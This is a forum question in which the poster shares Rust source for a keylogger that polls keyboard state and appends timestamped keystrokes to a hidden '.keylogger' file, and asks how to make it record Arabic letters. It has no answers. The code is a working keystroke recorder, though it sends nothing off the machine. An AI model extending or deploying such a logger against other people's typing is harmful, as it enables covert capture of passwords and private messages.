I want to work as a keylogger in Arabic ,rust language

Viewed 49

I made a keylogger program that works on writing letters on the file, but it only supports the English language, and I want to try the program on the Arabic language. I want to help make it write Arabic letters.

use clap::{App, Arg};
use chrono::prelude::*;
use device_query::{DeviceQuery, DeviceState};
use std::fs::OpenOptions;
use std::io::Write;
// mod keylogger;

fn main() {
    let matches = App::new("keylogger")
        .get_matches();

    let path = matches.value_of("PATH").unwrap_or(".keylogger");
    run(String::from(path));
}

pub fn run(path: String) {
    let device_state = DeviceState::new();

    let mut prev_keys = vec![];

    let mut file = OpenOptions::new()
        .create(true)
        .append(true)
        .open(path)
        .expect("Failed to open file");

    loop {
        let local: DateTime<Local> = Local::now();

        let keys = device_state.get_keys();
        if keys != prev_keys && !keys.is_empty() {
            println!("[{:?}] [Keyboard] {:?}", local, keys);

            writeln!(file, "[{:?}] [Keyboard] {:?}", local, keys).expect("Failed to write to file");
        }
        prev_keys = keys;
    }
}
0 Answers
Related